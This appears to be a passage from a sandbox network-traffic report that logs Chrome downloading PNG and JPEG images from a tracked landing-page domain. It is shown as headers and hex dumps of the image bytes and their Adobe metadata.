2025-01-08 14:44:40 UTC	1049	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:40 GMT Content-Type: image/png Content-Length: 558016 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d2947-883c0" expires: Wed, 08 Jan 2025 14:44:39 GMT last-modified: Tue, 07 Jan 2025 13:16:55 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kNHI%2FxpYa3wfEQ6x7mhX2sdUd3H9gZwjjHGwq4iNC0DFQb38yhyO6kol6z%2BuKipN4%2FudUX6yHPrY0VPH4fGeVjD9VCXKvmB61ur0PhQTLwWjmy0y1Dehbfn4xphMaqjX1NRSAG1XXEqeHacs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf783cdec42df-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1683&min_rtt=1677&rtt_var=642&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2869&recv_bytes=1003&delivery_rate=1685912&cwnd=237&unsent_bytes=0&cid=afa37bbdc64ebeb2&ts=935&x=0"
2025-01-08 14:44:40 UTC	320	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 c0 00 00 03 42 08 06 00 00 00 a9 ae a5 48 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 0a f2 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 38 20 37 39 2e 31 36 34 30 33 36 2c 20 32 30 31 39 2f 30 38 2f 31 33 2d 30 31 3a 30 36 3a 35 37 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: PNGIHDRBHpHYsiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57 "> <rdf:RD
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 22 22 20 78 6d 6c 6e 73 3a 78 6d 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 22 20 78 6d 6c 6e 73 3a 64 63 3d 22 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 65 6c 65 6d 65 6e 74 73 2f 31 2e 31 2f 22 20 78 6d 6c 6e 73 3a 70 68 6f 74 6f 73 68 6f 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 70 68 6f 74 6f 73 68 6f 70 2f 31 2e 30 2f 22 20 78 6d 6c 6e 73 3a 78 6d 70 4d 4d 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 6d 6d 2f 22 20 78 6d 6c 6e 73 3a 73 74 45 76 74 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 73 54 79 70 65 2f Data Ascii: escription rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: 39 61 36 2d 64 35 34 63 2d 61 37 33 39 2d 30 34 34 33 34 61 34 33 39 63 34 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 62 31 36 36 35 33 31 2d 66 31 33 35 2d 65 39 34 30 2d 39 32 34 34 2d 61 33 31 65 65 32 33 31 63 33 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 35 36 38 37 38 30 33 2d 64 36 62 37 2d 61 35 34 30 2d 39 30 37 32 2d 61 65 38 33 37 36 61 62 37 37 62 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 63 38 62 34 33 61 63 2d 34 64 37 63 2d 38 36 34 39 2d 39 30 62 37 2d 66 31 61 32 66 38 62 39 34 61 32 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 66 33 Data Ascii: 9a6-d54c-a739-04434a439c4c</rdf:li> <rdf:li>adobe:docid:photoshop:fb166531-f135-e940-9244-a31ee231c375</rdf:li> <rdf:li>xmp.did:35687803-d6b7-a540-9072-ae8376ab77b3</rdf:li> <rdf:li>xmp.did:3c8b43ac-4d7c-8649-90b7-f1a2f8b94a26</rdf:li> <rdf:li>xmp.did:8f3
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: 48 d3 14 cd 66 13 4a 29 dc bd 7b 17 6f bd f5 16 e2 38 c6 8b 2f be 88 6b d7 ae a1 d3 e9 e0 e1 c3 87 90 52 e2 da b5 6b 58 5c 5c c4 c9 c9 09 0e 0f 0f 31 1a 8d 10 c7 31 fa fd 3e d2 34 c5 e2 e2 22 ae 5d bb 86 28 8a 30 1a 8d d0 ef f7 91 24 09 e2 38 c6 60 30 40 18 86 b8 7c f9 32 e6 e7 e7 41 08 05 00 b8 85 a9 a7 9f fa 5e cd f3 1c bd 6e 17 a7 67 27 c8 8b 0c 8d 46 13 17 2e 5c c0 d4 d4 24 8e 8e 0e b1 bb b7 8d e9 a9 69 cc cc cc 20 8e 47 28 8a 12 52 4a 9c 9c 1e c1 f7 3d 5c bf 7e 0b 93 ed 69 ec 1f 1c e0 e1 83 07 10 1e c7 8d 1b b7 d0 88 9a d8 db db c5 d1 f1 01 8e 8f f7 91 24 23 5c bb 7e 0b 2f bf f4 1a 08 21 38 38 dc c3 60 d0 47 96 65 30 c6 80 0b 8e 4b 97 2e e1 f2 a5 cb b8 77 ff 23 fc e3 3f fe 77 64 59 86 e5 e5 55 4c 4e 4c 41 08 0e 3f 10 98 99 99 c1 68 34 c4 bb ef be 8b Data Ascii: HfJ){o8/kRkX\\11>4"](0$8`0@\|2A^ng'F.\$i G(RJ=\~i$#\~/!88`Ge0K.w#?wdYULNLA?h4
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: 3c cf 21 95 82 27 04 82 20 04 e7 1c 80 15 c8 5a 03 52 6a 48 a5 a0 95 a4 45 9e 4d 0c cb 62 62 d0 ef ae ee ef ed bc 1a 04 51 32 3d 35 bb 3b 35 3d f3 60 38 1a be db ed 76 7f 99 a5 e9 47 4a a9 3d c6 78 4a 29 95 84 90 2f fa 34 3a 1c 0e 87 e3 19 c7 09 60 87 c3 e1 70 38 9e 11 18 63 d3 d4 67 d7 60 7a d7 77 77 77 ae ed ef ef ac 96 65 b6 12 c7 a3 99 24 4d 66 8d 52 b3 5a 9b 28 cb 33 a4 49 8a 22 2f 40 0c 01 e3 0c 9c 79 a0 84 41 29 0d 9d e7 30 20 d0 5a d9 ea 2e 21 28 4b 89 bc c8 20 a5 84 f2 35 38 17 f0 3c 0f 94 32 10 42 a1 4a 09 a5 34 28 65 f0 84 80 2f 3c 50 18 c8 b2 e0 5a 2b ae b5 0a 46 a3 c1 f4 28 1e ae 6f ef 6d dd 6a 3f 98 f8 9a e7 05 5b 8c b2 b7 e6 17 16 de f6 3c ef 03 4a e9 d9 17 7d 0e 1d 0e 87 c3 f1 6c e3 04 b0 c3 e1 70 38 1c 4f 29 8c 31 78 9e d7 f2 3c 6f 26 8e Data Ascii: <!' ZRjHEMbbQ2=5;5=`8vGJ=xJ)/4:`p8cg`zwwwe$MfRZ(3I"/@yA)0 Z.!(K 58<2BJ4(e/<PZ+F(omj?[<J}lp8O)1x<o&
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: f3 3c e2 8c 23 0c 02 08 4f 40 6b 8d a2 28 2b 11 4a ac 13 73 51 42 1a 09 10 02 e1 09 d0 71 bb 30 1d 57 95 29 37 28 b4 42 51 94 80 d6 56 10 13 0d 8f 7b a0 dc 9a 60 11 4a 01 45 a0 94 41 59 4a 68 4d c0 88 cd fd 05 98 ad d6 1a 52 99 61 11 48 4d 00 a3 61 8c 06 25 04 52 02 5a 19 10 46 c0 28 87 27 3c 50 4a a1 8d 81 d2 06 65 21 01 65 ec f7 b4 81 06 40 28 81 81 86 d4 25 28 23 88 c2 10 45 a1 90 c4 a3 c6 c6 c3 07 2f 6d 6f 6e ae 87 51 f0 ad d6 e4 d4 d6 c2 e2 e2 fb 80 f9 99 d6 ea 27 00 1e 7c 51 57 cb e1 70 38 1c 4f 17 4e 00 3b 1c 0e 87 c3 f1 05 52 b7 3b 0b 21 58 18 86 17 3d e1 5d e9 f5 7b 2f f4 7a bd 37 fb 83 ce ab dd ee c9 c5 a2 cc 61 8c 46 18 06 08 83 08 9e e7 01 00 8a a2 00 21 12 84 00 c6 54 5f da c0 68 80 10 03 a3 00 30 2b 7a 4d 2d 34 0d 00 10 68 42 a0 08 6c b5 b8 Data Ascii: <#O@k(+JsQBq0W)7(BQV{`JEAYJhMRaHMa%RZF('<PJe!e@(%(#E/monQ'\|QWp8ON;R;!X=]{/z7aF!T_h0+zM-4hBl
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: 3d fe 52 af d7 5d 50 b2 b4 c2 b2 11 c1 f3 05 0c 34 8a bc 80 ac 66 61 09 21 55 c4 91 81 d1 76 e6 57 08 0e c6 39 38 b7 4e d0 4a ca ca a9 19 56 d8 12 5a 99 40 e9 f1 ac b0 94 12 aa 12 96 d0 06 da 68 70 c1 d0 d0 0d f8 be 00 a5 04 dc e3 a0 3c 44 e0 fb 08 82 a0 e4 42 48 4f f8 45 14 36 d3 30 6c 0e 27 26 26 8f 26 5a 93 0f 8a b2 dc 1c 0e 47 25 63 64 49 aa f2 ea e9 e9 d1 85 e1 60 38 6f 80 16 01 11 4a 19 63 0c 29 1a cd b0 37 33 33 79 1a 46 5e 9a 26 c9 dc f1 f1 c9 e5 5e af 07 ad 15 28 b3 02 dd 68 5b fd e5 9c 83 0b 36 6e 91 d6 9a 80 31 01 4a 38 94 b2 73 c7 f5 39 85 b1 91 4f f6 58 09 1a 8d 06 9a ad 26 f2 22 43 bf d7 47 af db f3 47 a3 c1 4a 9c c4 2b 94 d2 ab 45 51 5c 51 4a 5f 33 06 3f 0b c3 f0 ae 10 e2 21 a5 34 ff dd 57 d1 e1 70 38 1c cf 1a 4e 00 3b 1c 0e 87 c3 f1 19 c0 Data Ascii: =R]P4fa!UvW98NJVZ@hp<DBHOE60l'&&&ZG%cdI`8oJc)733yF^&^(h[6n1J8s9OX&"CGGJ+EQ\QJ_3?!4Wp8N;
2025-01-08 14:44:40 UTC	154	IN	Data Raw: 70 1b c9 44 01 ce ac 43 35 21 56 f8 12 a2 c7 02 58 6b 5d bd 0e 1d ff 9b 10 02 10 db 3a 2d b8 00 01 45 59 94 e8 74 cf 2e 0d 47 fd c9 ed dd 8d 57 66 e7 66 df 5b 5d 5d ff 3e 80 ef 69 6d 3e 00 e0 e6 83 1d 0e 87 e3 19 c5 09 60 87 c3 e1 70 38 fe 00 6c cc 0f 85 ef fb 68 36 9b 33 94 d2 db fb fb 7b af 95 45 f9 c6 c9 e9 f1 1b 83 41 6f 35 cd 12 f8 9e 8f 46 b3 0d ce 79 55 f5 55 28 0a 2b 68 8d 31 20 20 a0 84 56 c6 4e 06 46 db cc 5a 4a 18 8c 21 d6 b1 59 5a 87 67 5b 11 06 Data Ascii: pDC5!VXk]:-EYt.GWff[...im>`p8lh63{EAo5FyUU(+h1 VNFZJ!YZg[
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: 8c 06 d2 2c c7 68 38 42 1c c7 30 c6 60 76 76 36 59 5f bb 74 7f a2 3d f5 9e e7 07 ef cf cf cf 6f 2f 2d 2d ed 4c 4f 4f ed 4e 4f 4f 1f 48 29 93 7e 6f 80 b2 2c 41 28 a9 62 8f 8a f1 4c 6d 51 14 c8 f3 1c 45 51 40 7d 06 45 50 5b 31 2e 51 96 c5 48 4a 39 52 4a 8e 67 94 1b 8d 26 96 97 57 36 18 e3 bb a7 a7 67 f7 60 e8 9f 9d 9c 9e bc d8 eb 76 1b fd c1 00 cd 66 84 89 89 36 5a cd 08 5c 70 10 66 73 8b 8b a2 40 1d 0f 65 ab bf a6 ca 0b b6 d5 62 02 02 e1 79 60 1a 80 a1 f6 bf 39 07 a5 04 e5 a8 c0 70 d8 9b 4a b3 e1 54 92 8e 56 8b a2 5c 19 0e e2 ab 82 8b 5f 34 9b cd 77 9a cd e6 47 be 1f 8c ea ed 39 1c 0e 87 e3 d9 c0 09 60 87 c3 e1 70 38 fe 00 18 63 d0 5a 07 c3 e1 70 69 38 1a be de ef f7 ff fa e1 c3 07 5f 1f 0e 47 cb c6 18 9f 31 8a 66 a3 05 c1 3d 30 c2 a0 95 81 d6 25 b4 d1 e3 Data Ascii: ,h8B0`vv6Y_t=o/--LOONOOH)~o,A(bLmQEQ@}EP[1.QHJ9RJg&W6g`vf6Z\pfs@eby`9pJTV\_4wG9`p8cZpi8_G1f=0%
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: 4e 28 ad d1 6c 44 55 0b 34 40 28 05 a5 04 94 52 68 a5 21 a5 06 01 20 84 b0 f3 c1 46 a1 2c 72 e4 79 95 93 2c 3c 70 6e 17 25 60 00 4f 04 68 44 0c 82 4b 64 59 81 34 1d 35 77 f7 b2 6b 71 3c 5c eb 74 3a ab cd 46 eb 12 63 fc 27 61 38 77 37 08 c2 07 8c b1 63 29 5d 72 92 c3 e1 70 3c 2d 38 01 ec 70 38 1c 0e c7 c7 a0 94 82 51 46 ca b2 8c ca 72 70 39 8e 47 df 3c 3c 3c f8 77 87 07 fb af f5 07 bd 69 ad 25 8f a2 08 9e e7 41 4a eb 66 5c 14 25 08 51 80 26 e3 16 64 ce b9 ad e2 4a 83 52 16 28 4b 35 36 6e 7a 74 36 d7 0a df f3 f9 52 63 34 b2 2c c3 70 90 a0 2c 35 5a ad c9 e2 ea 95 ab 0f 5e 7e f9 95 ff f6 c2 8b 2f fc 97 f9 b9 85 5f 48 a9 b2 93 93 cc 28 ad 9e ca 76 e7 4f 4a dd 16 5d 14 45 77 61 71 e1 bb 4b cb 8b bf 6a b6 5b 1b 84 e0 3f dd bf 7f f7 ab c3 d1 60 3a 4d 33 22 04 07 Data Ascii: N(lDU4@(Rh! F,ry,<pn%`OhDKdY45wkq<\t:Fc'a8w7c)]rp<-8p8QFrp9G<<<wi%AJf\%Q&dJR(K56nzt6Rc4,p,5Z^~/_H(vOJ]EwaqKj[?`:M3"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49773	104.21.28.45	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:39 UTC	823	OUT	GET /images/comm_pic_1.jpg HTTP/1.1 Host: duennasustentation.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:40 UTC	1060	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:40 GMT Content-Type: image/jpeg Content-Length: 138542 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d294d-21d2e" expires: Wed, 08 Jan 2025 14:44:39 GMT last-modified: Tue, 07 Jan 2025 13:17:01 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CV2i0lixeQfageoR%2F7%2FzcIT4vSturfDQdbbvNVlN659R7mJUMAile%2Fuf63Cthdepz%2FiOn%2BL31ClGLmb1PcwjUMOwpmcuvdgeWcSkMps02kO6WnJlozNM2xx%2FL1Qs7NSaM%2B8QKbpheYlyKqm%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf783ce634213-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1681&min_rtt=1674&rtt_var=643&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2869&recv_bytes=1401&delivery_rate=1681059&cwnd=229&unsent_bytes=0&cid=7ff6c3462fc5efa4&ts=903&x=0"
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: ff d8 ff e1 1c ca 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 0c 01 00 00 03 00 00 00 01 01 e0 00 00 01 01 00 03 00 00 00 01 01 68 00 00 01 02 00 03 00 00 00 03 00 00 00 9e 01 06 00 03 00 00 00 01 00 02 00 00 01 12 00 03 00 00 00 01 00 01 00 00 01 15 00 03 00 00 00 01 00 03 00 00 01 1a 00 05 00 00 00 01 00 00 00 a4 01 1b 00 05 00 00 00 01 00 00 00 ac 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 b4 01 32 00 02 00 00 00 14 00 00 00 d3 87 69 00 04 00 00 00 01 00 00 00 e8 00 00 01 20 00 08 00 08 00 08 00 0a fc 80 00 00 27 10 00 0a fc 80 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 30 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 33 3a 30 37 3a 32 35 20 32 32 3a 31 33 3a 33 36 00 00 00 04 90 00 00 07 00 00 00 04 30 Data Ascii: ExifMM*h(12i ''Adobe Photoshop 21.0 (Windows)2023:07:25 22:13:360
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: c7 38 07 3b dd 03 f4 6d 73 7d df f7 cf f8 44 66 b5 ad af 73 18 1a 74 68 6e ba fc 76 ee fa 3b bf 9c 7f fd ba 8a 11 b3 1a ab 46 f6 8d 44 ea 4c 78 f2 a0 ec 7a cc 16 7b 1c 0e dd 84 ea 5b f9 a6 0f d3 76 e5 70 56 1a 36 ed 05 da 6d 9e 46 9e 0d ff 00 c8 a4 71 1e 01 73 a4 30 68 e0 64 81 bb 4f a4 3e 93 77 7f 84 4e b4 34 07 d9 d8 5c db 08 04 0d 49 91 07 43 f4 63 77 d1 7f fd b6 8d 43 77 3b f4 7e f0 3f 3c 08 00 72 ef 6b bd cd f7 6d 6d 7f e0 bf f4 58 c7 53 e8 4d c9 7b 0f 52 c2 6d 8d da 08 75 f5 b5 f3 f4 b8 73 b6 3f dc ef e6 d8 ea fd 3f fc 11 5b c6 c9 ab 29 8e 38 b7 55 92 c6 6a 1d 5d ad b1 a0 f7 fe 63 d4 6f e7 7d 3f 53 fc 22 56 a4 ac 68 6b 7d f0 40 26 47 cc cf 1b 7f 77 d9 67 f8 44 94 f7 39 ce d9 20 fe 73 58 79 db 3b 5b b7 db eb 3b 62 48 da 29 ff d1 e7 aa a8 3b 81 a8 e2 Data Ascii: 8;ms}Dfsthnv;FDLxz{[vpV6mFqs0hdO>wN4\ICcwCw;~?<rkmmXSM{Rmus??[)8Uj]co}?S"Vhk}@&GwgD9 sXy;[;bH);
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: 9d c3 d2 e5 e4 3f ef f8 57 8e 53 2f 5a 1e 67 fe f5 e7 03 29 98 01 e7 e6 d1 ff 00 7d 7a 4b b0 c4 e8 5d 1f d2 be eb 31 ff 00 47 50 03 57 bc 97 38 fd 16 37 73 ff 00 3a 12 4c fb fe 2b ae 19 fd 91 ff 00 be 4f dc e7 de 3f 6c bf ef 5f ff d3 c0 eb 38 d7 e5 f4 c7 d5 54 93 5b 85 8e dc 27 da 25 ae fc d7 3d db 5b ef f6 7f ea 35 71 bd 4f 0a de 9c eb 2f c8 cd ad b4 61 b3 0f 15 ee 77 ad 5d af 68 78 dd b1 fe 8d b8 cd ba c7 56 d6 37 f4 df f8 1a 3d 3b 1a 09 21 de c8 33 04 8d 9f 47 76 f6 37 fd 27 d2 67 f8 2f f0 8a bd bd 1f a6 e6 bc 5b 6b 1e d6 f2 76 b9 f5 b5 e7 53 30 dd d4 f7 f7 fa 29 80 f7 5e e2 d9 9f ea 39 af 73 43 5e 1a 1a f2 d3 04 91 f4 9c f2 d6 b7 dc 9a be af 97 4e 45 47 1e d7 37 63 2d 6e b0 ef 6d 8d fd 26 e0 ed cc 73 7d 4f 4d de ff 00 dc 62 e9 72 fe ae e1 df 82 ea 70 Data Ascii: ?WS/Zg)}zK]1GPW87s:L+O?l_8T['%=[5qO/aw]hxV7=;!3Gv7'g/[kvS0)^9sC^NEG7c-nm&s}OMbrp
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: a6 5f e9 3f f9 1b ec ff 00 8c b1 5e ea f5 60 32 f7 33 1d 8c a9 94 fe 8c 39 85 ff 00 a5 83 fc fb 99 63 ec d9 77 ef fa 7e 95 3f f0 48 23 a6 e4 0a ab b9 ef ae 96 da d9 61 7b 8f b9 be 3b 1a cb 13 ab a2 c6 90 68 98 24 0f 8c a2 ec 04 0d a1 c4 eb b8 c1 8f e4 ed fa 2a e6 07 4b b7 2b 32 ac 7a 2d a6 cb ee 76 ca 9b fa 40 0b a2 76 fb 69 fc ef de 5b 56 7d 51 ea b5 e3 dd 95 ea 63 bd 94 56 6d 7b 18 eb 1c e2 c6 8d ee 2c 2e a1 95 fd 0f f8 44 c9 48 46 81 20 5f 72 13 11 7d de 5c 35 c5 e1 84 11 27 c3 ff 00 24 42 4b aa c2 fa ab 6e 76 36 f3 60 65 84 88 69 1b 9a 1a 74 1b 9a df 72 49 71 78 27 87 5d df ff d5 ee 28 e9 7d 3b a6 63 13 8d 48 df 13 63 89 dc e7 9f de b6 c7 7b ad ff 00 a8 58 7d 53 3f 32 bc 5b b6 b0 b1 cc 05 db f8 1d e1 ad 5d 1b 1e 1e 5a 0c 40 d4 8e d1 e0 b8 bf ad dd 6f Data Ascii: _?^`239cw~?H#a{;h$*K+2z-v@vi[V}QcVm{,.DHF _r}\5'$BKnv6`eitrIqx'](};cHc{X}S?2[]Z@o
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: b2 b5 77 17 2d 2e 5b 24 4e 2c 82 18 04 6b 26 32 0c b8 e7 2f 96 5c 5f bb c5 c3 f3 cd ae 48 98 f5 02 65 7f 92 6a ae e9 ac be b3 4e 53 9f 69 c6 23 21 b7 38 9f d6 1e 06 fc 7c 7d 9f a2 ae 9a 9a df cf 77 e9 9f fc d7 aa b9 97 31 cf b0 bb 52 e2 49 1e 3c ae 97 11 9d 0d 98 b9 2c 75 36 75 07 96 bd 82 fa 58 0d 54 82 dd 8d b3 d6 b2 d6 63 b6 d6 58 ef 53 f4 3e a5 9e cf d1 dd 42 ab d0 7a 6b b2 b2 18 f7 89 05 cd e0 81 24 9f a2 d7 3f 6f bb da e5 30 27 5b e2 35 a7 14 b8 7d 5f dd e1 fd 14 d0 f0 47 6f 4e 75 1d 32 8f 57 e9 3c b9 ef e7 f3 a1 b1 fd 98 58 fe 89 61 f0 2d 9d 44 f7 8d 7f 93 f4 57 a3 f5 4e 8c 72 a9 f4 76 7a 4f 03 68 70 88 22 37 b6 36 fe 6e ff 00 53 d8 cf a0 b0 5f f5 37 2d ce 23 d5 d9 c7 d2 6c 12 1c 76 6e 01 d1 b9 ba a2 24 a3 10 f2 fb 5d b9 a6 06 e6 99 1f 15 a3 d3 1b Data Ascii: w-.[$N,k&2/\_HejNSi#!8\|}w1RI<,u6uXTcXS>Bzk$?o0'[5}_GoNu2W<Xa-DWNrvzOhp"76nS_7-#lvn$]
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: b7 52 b6 b4 58 ed c0 97 d4 e0 6c 61 06 5a 5c 0b 9b ef 6f f8 3b ea af d5 a9 fe 97 f3 94 fe 8e cd f5 fb f4 5a 77 d1 ed dc 46 83 df 25 a6 18 1a e6 3b 6f d0 77 b7 f7 2b 67 f8 1f f8 25 97 8e 1b b5 a5 83 7b f6 02 c6 99 da 64 ef 00 fd 26 fb 77 6d db fc df f8 3a d5 a6 3e e6 6d 76 38 63 7d ac dc 08 d6 08 87 b0 34 6c 76 df 6f e8 eb f5 bf e2 aa fd 1f a8 9a 57 06 dd 6f 73 4b 99 70 14 6d 3b 83 5f 2d 07 74 39 ee dc ed db 77 bb 6b 9d ea ff 00 c2 7e 93 f4 6a 37 64 56 c7 8d a3 d6 98 d5 82 5a e1 b7 fe e4 38 3a bb 1e ed bf cd ff 00 86 ff 00 4b fe 09 01 b5 b4 ee 6c 39 f1 b6 18 e2 1c d8 70 3e d6 d5 63 b6 7f 83 b3 e9 7d 0b 7f 45 57 e9 55 8a 1d 64 1f d2 6d 2c 71 82 ca e1 ed 60 88 b1 8e fc ef cd b3 e8 7f e8 b4 db 4d 24 79 b4 97 c3 4b 5e e0 5a f7 bb 66 a0 8f a0 eb 06 e7 35 de 9f Data Ascii: RXlaZ\o;ZwF%;ow+g%{d&wm:>mv8c}4lvoWosKpm;_-t9wk~j7dVZ8:Kl9p>c}EWUdm,q`M$yK^Zf5
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: 67 00 00 00 00 00 00 00 0c 63 72 6f 70 52 65 63 74 4c 65 66 74 6c 6f 6e 67 00 00 00 00 00 00 00 0d 63 72 6f 70 52 65 63 74 52 69 67 68 74 6c 6f 6e 67 00 00 00 00 00 00 00 0b 63 72 6f 70 52 65 63 74 54 6f 70 6c 6f 6e 67 00 00 00 00 00 38 42 49 4d 03 ed 00 00 00 00 00 10 00 48 00 00 00 01 00 01 00 48 00 00 00 01 00 01 38 42 49 4d 04 26 00 00 00 00 00 0e 00 00 00 00 00 00 00 00 00 00 3f 80 00 00 38 42 49 4d 04 0d 00 00 00 00 00 04 ff ff ff c4 38 42 49 4d 04 19 00 00 00 00 00 04 00 00 00 1e 38 42 49 4d 03 f3 00 00 00 00 00 09 00 00 00 00 00 00 00 00 01 00 38 42 49 4d 27 10 00 00 00 00 00 0a 00 01 00 00 00 00 00 00 00 02 38 42 49 4d 03 f5 00 00 00 00 00 48 00 2f 66 66 00 01 00 6c 66 66 00 06 00 00 00 00 00 01 00 2f 66 66 00 01 00 a1 99 9a 00 06 00 00 00 00 00 Data Ascii: gcropRectLeftlongcropRectRightlongcropRectToplong8BIMHH8BIM&?8BIM8BIM8BIM8BIM'8BIMH/fflff/ff
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: 42 49 4d 04 0c 00 00 00 00 1b 60 00 00 00 01 00 00 00 68 00 00 00 a0 00 00 01 38 00 00 c3 00 00 00 1b 44 00 18 00 01 ff d8 ff ed 00 0c 41 64 6f 62 65 5f 43 4d 00 02 ff ee 00 0e 41 64 6f 62 65 00 64 80 00 00 00 01 ff db 00 84 00 0c 08 08 08 09 08 0c 09 09 0c 11 0b 0a 0b 11 15 0f 0c 0c 0f 15 18 13 13 15 13 13 18 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 01 0d 0b 0b 0d 0e 0d 10 0e 0e 10 14 0e 0e 0e 14 14 0e 0e 0e 0e 14 11 0c 0c 0c 0c 0c 11 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 00 a0 00 68 03 01 22 00 02 11 01 03 11 01 ff dd 00 04 00 07 ff c4 01 3f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 03 00 01 02 Data Ascii: 